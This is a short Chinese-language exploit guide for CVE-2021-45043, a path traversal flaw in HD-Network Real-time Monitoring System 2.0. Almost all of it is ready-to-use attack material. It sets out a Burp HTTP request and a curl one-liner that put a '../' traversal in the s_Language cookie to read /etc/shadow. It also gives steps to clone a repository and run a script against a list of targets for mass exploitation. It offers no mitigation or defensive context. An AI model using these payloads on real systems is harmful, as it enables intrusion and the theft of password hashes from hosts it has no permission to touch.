cve-2021-45043

HD-Network 实时监控系统 2.0 允许通过 /language/lang 的 s_Language 参数进行 ../ 目录遍历，从而读取 /etc/shadow。

原始帖子

https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f

通过 Burp 利用

GET /language/lang HTTP/1.1 Host: IP.target Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow

通过一行命令利用

curl -k -s -H "Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow" -X GET http://IP.target/language/lang

批量目标利用

git clone https://github.com/g30rgyth3d4rk/cve-2021-45043.git

cd cve-2021-45043/

chmod +x script.sh

./script.sh targets.txt